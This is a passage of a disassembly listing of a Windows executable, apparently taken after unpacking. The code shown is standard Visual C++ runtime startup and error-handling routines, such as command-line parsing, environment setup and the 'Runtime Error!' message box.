cmp ecx, 0BCh
jb short loc_41EFA0
cmp ecx, 0CAh
mov dword_48A014, 8
jbe short locret_41EFAA
loc_41EFA0: ; CODE XREF: sub_41EF44+48j
mov dword_48A014, 16h
locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj
retn
sub_41EF44 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_41F0EC
test eax, eax
pop ecx
jz loc_41F0E0
mov ebx, [eax+8]
test ebx, ebx
jz loc_41F0E0
cmp ebx, 5
jnz short loc_41EFDC
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41F0E9
; ---------------------------------------------------------------------------
loc_41EFDC: ; CODE XREF: ___:0041EFCEj
cmp ebx, 1
jz loc_41F0DB
mov ecx, dword_48A0C8
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_48A0C8, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41F0CB
mov ecx, dword_43BC10
mov edx, dword_43BC14
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41F02B
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43BBA0h[esi*4]
loc_41F022: ; CODE XREF: ___:0041F029j
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41F022
loc_41F02B: ; CODE XREF: ___:0041F014j
mov eax, [eax]
mov esi, dword_43BC1C
cmp eax, 0C000008Eh
jnz short loc_41F046
mov dword_43BC1C, 83h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F046: ; CODE XREF: ___:0041F038j
cmp eax, 0C0000090h
jnz short loc_41F059
mov dword_43BC1C, 81h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F059: ; CODE XREF: ___:0041F04Bj
cmp eax, 0C0000091h
jnz short loc_41F06C
mov dword_43BC1C, 84h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F06C: ; CODE XREF: ___:0041F05Ej
cmp eax, 0C0000093h
jnz short loc_41F07F
mov dword_43BC1C, 85h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F07F: ; CODE XREF: ___:0041F071j
cmp eax, 0C000008Dh
jnz short loc_41F092
mov dword_43BC1C, 82h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F092: ; CODE XREF: ___:0041F084j
cmp eax, 0C000008Fh
jnz short loc_41F0A5
mov dword_43BC1C, 86h
jmp short loc_41F0B6
; ---------------------------------------------------------------------------
loc_41F0A5: ; CODE XREF: ___:0041F097j
cmp eax, 0C0000092h
jnz short loc_41F0B6
mov dword_43BC1C, 8Ah
loc_41F0B6: ; CODE XREF: ___:0041F044j
; ___:0041F057j ...
push dword_43BC1C
push 8
call ebx
pop ecx
mov dword_43BC1C, esi
pop ecx
pop esi
jmp short loc_41F0D3
; ---------------------------------------------------------------------------
loc_41F0CB: ; CODE XREF: ___:0041EFFDj
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41F0D3: ; CODE XREF: ___:0041F0C9j
mov eax, [ebp+8]
mov dword_48A0C8, eax
loc_41F0DB: ; CODE XREF: ___:0041EFDFj
or eax, 0FFFFFFFFh
jmp short loc_41F0E9
; ---------------------------------------------------------------------------
loc_41F0E0: ; CODE XREF: ___:0041EFBAj
; ___:0041EFC5j
push dword ptr [ebp+0Ch]
nop
call near ptr 25E0180h
loc_41F0E9: ; CODE XREF: ___:0041EFD7j
; ___:0041F0DEj
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43BC18
cmp dword_43BB98, edx
push esi
mov eax, offset dword_43BB98
jz short loc_41F119
lea esi, [ecx+ecx*2]
lea esi, ds:43BB98h[esi*4]
loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41F119
cmp [eax], edx
jnz short loc_41F10E
loc_41F119: ; CODE XREF: sub_41F0EC+16j
; sub_41F0EC+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43BB98h[ecx*4]
cmp eax, ecx
jnb short loc_41F12C
cmp [eax], edx
jz short locret_41F12E
loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj
xor eax, eax
locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej
retn
sub_41F0EC endp
; ---------------------------------------------------------------------------
cmp dword_48B694, 0
jnz short loc_41F13D
call sub_41ECF1
loc_41F13D: ; CODE XREF: ___:0041F136j
push esi
mov esi, dword_48B68C
mov al, [esi]
cmp al, 22h
jnz short loc_41F16F
loc_41F14A: ; CODE XREF: ___:0041F162j
; ___:0041F165j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41F167
test al, al
jz short loc_41F167
movzx eax, al
push eax
call sub_42101D
test eax, eax
pop ecx
jz short loc_41F14A
inc esi
jmp short loc_41F14A
; ---------------------------------------------------------------------------
loc_41F167: ; CODE XREF: ___:0041F150j
; ___:0041F154j
cmp byte ptr [esi], 22h
jnz short loc_41F179
loc_41F16C: ; CODE XREF: ___:0041F181j
inc esi
jmp short loc_41F179
; ---------------------------------------------------------------------------
loc_41F16F: ; CODE XREF: ___:0041F148j
cmp al, 20h
jbe short loc_41F179
loc_41F173: ; CODE XREF: ___:0041F177j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41F173
loc_41F179: ; CODE XREF: ___:0041F16Aj
; ___:0041F16Dj ...
mov al, [esi]
test al, al
jz short loc_41F183
cmp al, 20h
jbe short loc_41F16C
loc_41F183: ; CODE XREF: ___:0041F17Dj
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_48B694, ebx
push esi
push edi
jnz short loc_41F199
call sub_41ECF1
loc_41F199: ; CODE XREF: ___:0041F192j
mov esi, dword_48A060
xor edi, edi
loc_41F1A1: ; CODE XREF: ___:0041F1B7j
mov al, [esi]
cmp al, bl
jz short loc_41F1B9
cmp al, 3Dh
jz short loc_41F1AC
inc edi
loc_41F1AC: ; CODE XREF: ___:0041F1A9j
push esi
call sub_417AB0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41F1A1
; ---------------------------------------------------------------------------
loc_41F1B9: ; CODE XREF: ___:0041F1A5j
lea eax, ds:4[edi*4]
push eax
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_48A03C, esi
jnz short loc_41F1DB
push 9
call sub_419CDA
pop ecx
loc_41F1DB: ; CODE XREF: ___:0041F1D1j
mov edi, dword_48A060
cmp [edi], bl
jz short loc_41F21E
push ebp
loc_41F1E6: ; CODE XREF: ___:0041F21Bj
push edi
call sub_417AB0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41F217
push ebp
call sub_417B89
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41F20A
push 9
call sub_419CDA
pop ecx
loc_41F20A: ; CODE XREF: ___:0041F200j
push edi
push dword ptr [esi]
call sub_4179C0
pop ecx
add esi, 4
pop ecx
loc_41F217: ; CODE XREF: ___:0041F1F3j
add edi, ebp
cmp [edi], bl
jnz short loc_41F1E6
pop ebp
loc_41F21E: ; CODE XREF: ___:0041F1E3j
push dword_48A060
call sub_417C3B
pop ecx
mov dword_48A060, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_48B690, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_48B694, ebx
push esi
push edi
jnz short loc_41F257
call sub_41ECF1
loc_41F257: ; CODE XREF: ___:0041F250j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call near ptr 2640000h
nop
mov eax, dword_48B68C
mov off_48A04C, esi
mov edi, esi
cmp [eax], bl
jz short loc_41F27C
mov edi, eax
loc_41F27C: ; CODE XREF: ___:0041F278j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_41F2D9
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_417B89
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41F2AC
push 8
call sub_419CDA
pop ecx
loc_41F2AC: ; CODE XREF: ___:0041F2A2j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_41F2D9
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_48A034, esi
pop edi
pop esi
mov dword_48A030, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F2D9 proc near ; CODE XREF: ___:0041F287p
; ___:0041F2BDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41F303
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F303: ; CODE XREF: sub_41F2D9+20j
cmp byte ptr [eax], 22h
jnz short loc_41F34C
loc_41F308: ; CODE XREF: sub_41F2D9+58j
; sub_41F2D9+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41F33A
test dl, dl
jz short loc_41F33A
movzx edx, dl
test byte_48B561[edx], 4
jz short loc_41F32D
inc dword ptr [ecx]
test esi, esi
jz short loc_41F32D
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41F32D: ; CODE XREF: sub_41F2D9+46j
; sub_41F2D9+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F308
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F308
; ---------------------------------------------------------------------------
loc_41F33A: ; CODE XREF: sub_41F2D9+36j
; sub_41F2D9+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41F344
and byte ptr [esi], 0
inc esi
loc_41F344: ; CODE XREF: sub_41F2D9+65j
cmp byte ptr [eax], 22h
jnz short loc_41F38F
inc eax
jmp short loc_41F38F
; ---------------------------------------------------------------------------
loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj
; sub_41F2D9+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41F357
mov dl, [eax]
mov [esi], dl
inc esi
loc_41F357: ; CODE XREF: sub_41F2D9+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_48B561[ebx], 4
jz short loc_41F372
inc dword ptr [ecx]
test esi, esi
jz short loc_41F371
mov bl, [eax]
mov [esi], bl
inc esi
loc_41F371: ; CODE XREF: sub_41F2D9+91j
inc eax
loc_41F372: ; CODE XREF: sub_41F2D9+8Bj
cmp dl, 20h
jz short loc_41F380
test dl, dl
jz short loc_41F384
cmp dl, 9
jnz short loc_41F34C
loc_41F380: ; CODE XREF: sub_41F2D9+9Cj
test dl, dl
jnz short loc_41F387
loc_41F384: ; CODE XREF: sub_41F2D9+A0j
dec eax
jmp short loc_41F38F
; ---------------------------------------------------------------------------
loc_41F387: ; CODE XREF: sub_41F2D9+A9j
test esi, esi
jz short loc_41F38F
and byte ptr [esi-1], 0
loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej
; sub_41F2D9+71j ...
and [ebp+arg_10], 0
loc_41F393: ; CODE XREF: sub_41F2D9+19Ej
cmp byte ptr [eax], 0
jz loc_41F47C
loc_41F39C: ; CODE XREF: sub_41F2D9+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41F3A8
cmp dl, 9
jnz short loc_41F3AB
loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j
inc eax
jmp short loc_41F39C
; ---------------------------------------------------------------------------
loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj
cmp byte ptr [eax], 0
jz loc_41F47C
test edi, edi
jz short loc_41F3C0
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41F3D7
inc eax
inc ebx
jmp short loc_41F3CE
; ---------------------------------------------------------------------------
loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j
cmp byte ptr [eax], 22h
jnz short loc_41F408
test bl, 1
jnz short loc_41F406
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41F3F5
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41F3F5
mov eax, edx
jmp short loc_41F3F8
; ---------------------------------------------------------------------------
loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj
; sub_41F2D9+116j
mov [ebp+arg_0], edi
loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41F406: ; CODE XREF: sub_41F2D9+106j
shr ebx, 1
loc_41F408: ; CODE XREF: sub_41F2D9+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41F41D
inc ebx
loc_41F410: ; CODE XREF: sub_41F2D9+142j
test esi, esi
jz short loc_41F418
mov byte ptr [esi], 5Ch
inc esi
loc_41F418: ; CODE XREF: sub_41F2D9+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41F410
loc_41F41D: ; CODE XREF: sub_41F2D9+134j
mov dl, [eax]
test dl, dl
jz short loc_41F46D
cmp [ebp+arg_10], 0
jnz short loc_41F433
cmp dl, 20h
jz short loc_41F46D
cmp dl, 9
jz short loc_41F46D
loc_41F433: ; CODE XREF: sub_41F2D9+14Ej
cmp [ebp+arg_0], 0
jz short loc_41F467
test esi, esi
jz short loc_41F456
movzx ebx, dl
test byte_48B561[ebx], 4
jz short loc_41F44F
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41F465
; ---------------------------------------------------------------------------
loc_41F456: ; CODE XREF: sub_41F2D9+162j
movzx edx, dl
test byte_48B561[edx], 4
jz short loc_41F465
inc eax
inc dword ptr [ecx]
loc_41F465: ; CODE XREF: sub_41F2D9+17Bj
; sub_41F2D9+187j
inc dword ptr [ecx]
loc_41F467: ; CODE XREF: sub_41F2D9+15Ej
inc eax
jmp loc_41F3C5
; ---------------------------------------------------------------------------
loc_41F46D: ; CODE XREF: sub_41F2D9+148j
; sub_41F2D9+153j ...
test esi, esi
jz short loc_41F475
and byte ptr [esi], 0
inc esi
loc_41F475: ; CODE XREF: sub_41F2D9+196j
inc dword ptr [ecx]
jmp loc_41F393
; ---------------------------------------------------------------------------
loc_41F47C: ; CODE XREF: sub_41F2D9+BDj
; sub_41F2D9+D5j
test edi, edi
jz short loc_41F483
and dword ptr [edi], 0
loc_41F483: ; CODE XREF: sub_41F2D9+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41F2D9 endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_48A1D0
push ebx
push ebp
mov ebp, dword_42403C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41F4DB
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_41F4BC
mov dword_48A1D0, 1
jmp short loc_41F4E4
; ---------------------------------------------------------------------------
loc_41F4BC: ; CODE XREF: ___:0041F4AEj
nop
call near ptr 25D0B38h
mov edi, eax
cmp edi, ebx
jz loc_41F5B6
mov dword_48A1D0, 2
jmp loc_41F56A
; ---------------------------------------------------------------------------
loc_41F4DB: ; CODE XREF: ___:0041F4A6j
cmp eax, 1
jnz loc_41F565
loc_41F4E4: ; CODE XREF: ___:0041F4BAj
cmp esi, ebx
jnz short loc_41F4F4
call ebp
mov esi, eax
cmp esi, ebx
jz loc_41F5B6
loc_41F4F4: ; CODE XREF: ___:0041F4E6j
cmp [esi], bx
mov eax, esi
jz short loc_41F509
loc_41F4FB: ; CODE XREF: ___:0041F500j
; ___:0041F507j
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F4FB
inc eax
inc eax
cmp [eax], bx
jnz short loc_41F4FB
loc_41F509: ; CODE XREF: ___:0041F4F9j
sub eax, esi
mov edi, dword_424150
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_41F55A
push ebp
call sub_417B89
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_41F55A
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_41F556
push dword ptr [esp+10h]
call sub_417C3B
pop ecx
mov [esp+10h], ebx
loc_41F556: ; CODE XREF: ___:0041F546j
mov ebx, [esp+10h]
loc_41F55A: ; CODE XREF: ___:0041F526j
; ___:0041F535j
push esi
nop
call near ptr 25D0E75h
mov eax, ebx
jmp short loc_41F5B8
; ---------------------------------------------------------------------------
loc_41F565: ; CODE XREF: ___:0041F4DEj
cmp eax, 2
jnz short loc_41F5B6
loc_41F56A: ; CODE XREF: ___:0041F4D6j
cmp edi, ebx
jnz short loc_41F57A
nop
call near ptr 25D0B38h
mov edi, eax
cmp edi, ebx
jz short loc_41F5B6
loc_41F57A: ; CODE XREF: ___:0041F56Cj
cmp [edi], bl
mov eax, edi
jz short loc_41F58A
loc_41F580: ; CODE XREF: ___:0041F583j
; ___:0041F588j
inc eax
cmp [eax], bl
jnz short loc_41F580
inc eax
cmp [eax], bl
jnz short loc_41F580
loc_41F58A: ; CODE XREF: ___:0041F57Ej
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41F5A0
xor esi, esi
jmp short loc_41F5AB
; ---------------------------------------------------------------------------
loc_41F5A0: ; CODE XREF: ___:0041F59Aj
push ebp
push edi
push esi
call sub_417390
add esp, 0Ch
loc_41F5AB: ; CODE XREF: ___:0041F59Ej
push edi
nop
call near ptr 25E0000h
mov eax, esi
jmp short loc_41F5B8
; ---------------------------------------------------------------------------
loc_41F5B6: ; CODE XREF: ___:0041F4C6j
; ___:0041F4EEj ...
xor eax, eax
loc_41F5B8: ; CODE XREF: ___:0041F563j
; ___:0041F5B4j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41F5DF
push 1Bh
call sub_419CDA
pop ecx
loc_41F5DF: ; CODE XREF: ___:0041F5D5j
mov dword_48B340, esi
mov dword_48B440, 20h
lea eax, [esi+100h]
loc_41F5F5: ; CODE XREF: ___:0041F611j
cmp esi, eax
jnb short loc_41F613
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_48B340
add esi, 8
add eax, 100h
jmp short loc_41F5F5
; ---------------------------------------------------------------------------
loc_41F613: ; CODE XREF: ___:0041F5F7j
lea eax, [esp+10h]
push eax
nop
call near ptr 2810000h
cmp word ptr [esp+42h], 0
jz loc_41F6EF
mov eax, [esp+44h]
test eax, eax
jz loc_41F6EF
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_41F649
mov esi, eax
loc_41F649: ; CODE XREF: ___:0041F645j
cmp dword_48B440, esi
jge short loc_41F6A3
mov edi, offset dword_48B344
loc_41F656: ; CODE XREF: ___:0041F699j
push 100h
call sub_417B89
test eax, eax
pop ecx
jz short loc_41F69D
add dword_48B440, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41F674: ; CODE XREF: ___:0041F68Ej
cmp eax, ecx
jnb short loc_41F690
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41F674
; ---------------------------------------------------------------------------
loc_41F690: ; CODE XREF: ___:0041F676j
add edi, 4
cmp dword_48B440, esi
jl short loc_41F656
jmp short loc_41F6A3
; ---------------------------------------------------------------------------
loc_41F69D: ; CODE XREF: ___:0041F663j
mov esi, dword_48B440
loc_41F6A3: ; CODE XREF: ___:0041F64Fj
; ___:0041F69Bj
xor edi, edi
test esi, esi
jle short loc_41F6EF
loc_41F6A9: ; CODE XREF: ___:0041F6EDj
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41F6E6
mov cl, [ebp+0]
test cl, 1
jz short loc_41F6E6
test cl, 8
jnz short loc_41F6C8
push eax
nop
call near ptr 25D0000h
test eax, eax
jz short loc_41F6E6
loc_41F6C8: ; CODE XREF: ___:0041F6BBj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_48B340[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41F6E6: ; CODE XREF: ___:0041F6AEj
; ___:0041F6B6j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41F6A9
loc_41F6EF: ; CODE XREF: ___:0041F624j
; ___:0041F630j ...
xor ebx, ebx
loc_41F6F1: ; CODE XREF: ___:0041F754j
mov eax, dword_48B340
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41F74C
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41F70C
push 0FFFFFFF6h
pop eax
jmp short loc_41F716
; ---------------------------------------------------------------------------
loc_41F70C: ; CODE XREF: ___:0041F705j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41F716: ; CODE XREF: ___:0041F70Aj
push eax
nop
call near ptr 25D08DEh
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41F73B
push edi
nop
call near ptr 25D0000h
test eax, eax
jz short loc_41F73B
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41F741
loc_41F73B: ; CODE XREF: ___:0041F722j
; ___:0041F72Dj
or byte ptr [esi+4], 40h
jmp short loc_41F750
; ---------------------------------------------------------------------------
loc_41F741: ; CODE XREF: ___:0041F739j
cmp eax, 3
jnz short loc_41F750
or byte ptr [esi+4], 8
jmp short loc_41F750
; ---------------------------------------------------------------------------
loc_41F74C: ; CODE XREF: ___:0041F6FDj
or byte ptr [esi+4], 80h
loc_41F750: ; CODE XREF: ___:0041F73Fj
; ___:0041F744j ...
inc ebx
cmp ebx, 3
jl short loc_41F6F1
push dword_48B440
nop
call near ptr 25D0A9Ah
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao
; sub_41D120+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41F814
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41F7A7: ; CODE XREF: sub_41F774+90j
cmp esi, 0FFFFFFFFh
jz short loc_41F80D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41F7FB
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41F7FB
js short loc_41F806
mov edi, [ebx+8]
push ebx
call sub_4181A0
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4181E2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_418276
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41F7FB: ; CODE XREF: sub_41F774+40j
; sub_41F774+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41F7A7
; ---------------------------------------------------------------------------
loc_41F806: ; CODE XREF: sub_41F774+54j
mov eax, 0
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F80D: ; CODE XREF: sub_41F774+36j
mov eax, 1
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F814: ; CODE XREF: sub_41F774+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4181E2
add esp, 8
pop ebp
mov eax, 1
loc_41F829: ; CODE XREF: sub_41F774+97j
; sub_41F774+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41F774 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4181E2
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41F84C proc near ; CODE XREF: sub_419CDA+9p
mov eax, dword_48A068
cmp eax, 1
jz short loc_41F863
test eax, eax
jnz short locret_41F884
cmp dword_439594, 1
jnz short locret_41F884
loc_41F863: ; CODE XREF: sub_41F84C+8j
push 0FCh
call sub_41F885
mov eax, dword_48A1D4
pop ecx
test eax, eax
jz short loc_41F879
call eax
loc_41F879: ; CODE XREF: sub_41F84C+29j
push 0FFh
call sub_41F885
pop ecx
locret_41F884: ; CODE XREF: sub_41F84C+Cj
; sub_41F84C+15j
retn
sub_41F84C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F885 proc near ; CODE XREF: sub_419CDA+12p
; sub_41F84C+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43BC28
loc_41F898: ; CODE XREF: sub_41F885+20j
cmp edx, [eax]
jz short loc_41F8A7
add eax, 8
inc ecx
cmp eax, offset off_43BCB8
jl short loc_41F898
loc_41F8A7: ; CODE XREF: sub_41F885+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43BC28[esi]
jnz loc_41F9D5
mov eax, dword_48A068
cmp eax, 1
jz loc_41F9AF
test eax, eax
jnz short loc_41F8D8
cmp dword_439594, 1
jz loc_41F9AF
loc_41F8D8: ; CODE XREF: sub_41F885+44j
cmp edx, 0FCh
jz loc_41F9D5
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2640000h
test eax, eax
jnz short loc_41F90F
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_4179C0
pop ecx
pop ecx
loc_41F90F: ; CODE XREF: sub_41F885+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_417AB0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_41F952
lea eax, [ebp+var_1A4]
push eax
call sub_417AB0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_418C10
add esp, 10h
loc_41F952: ; CODE XREF: sub_41F885+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_4179C0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_4179D0
lea eax, [ebp+var_A0]
push offset asc_424BA8 ; "\n\n"
push eax
call sub_4179D0
push off_43BC2C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_4179D0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_42105F
add esp, 2Ch
pop edi
jmp short loc_41F9D5
; ---------------------------------------------------------------------------
loc_41F9AF: ; CODE XREF: sub_41F885+3Cj
; sub_41F885+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43BC2C[esi]
push 0
push eax
push dword ptr [esi]
call sub_417AB0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 25D08DEh
push eax
nop
call near ptr 2620000h
loc_41F9D5: ; CODE XREF: sub_41F885+2Ej
; sub_41F885+59j ...
pop esi
leave
retn
sub_41F885 endp
; =============== S U B R O U T I N E =======================================
sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp
; sub_41E248+32p ...
arg_0 = dword ptr 4
inc dword_48A1D8
push 1000h
call sub_417B89
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41FA01
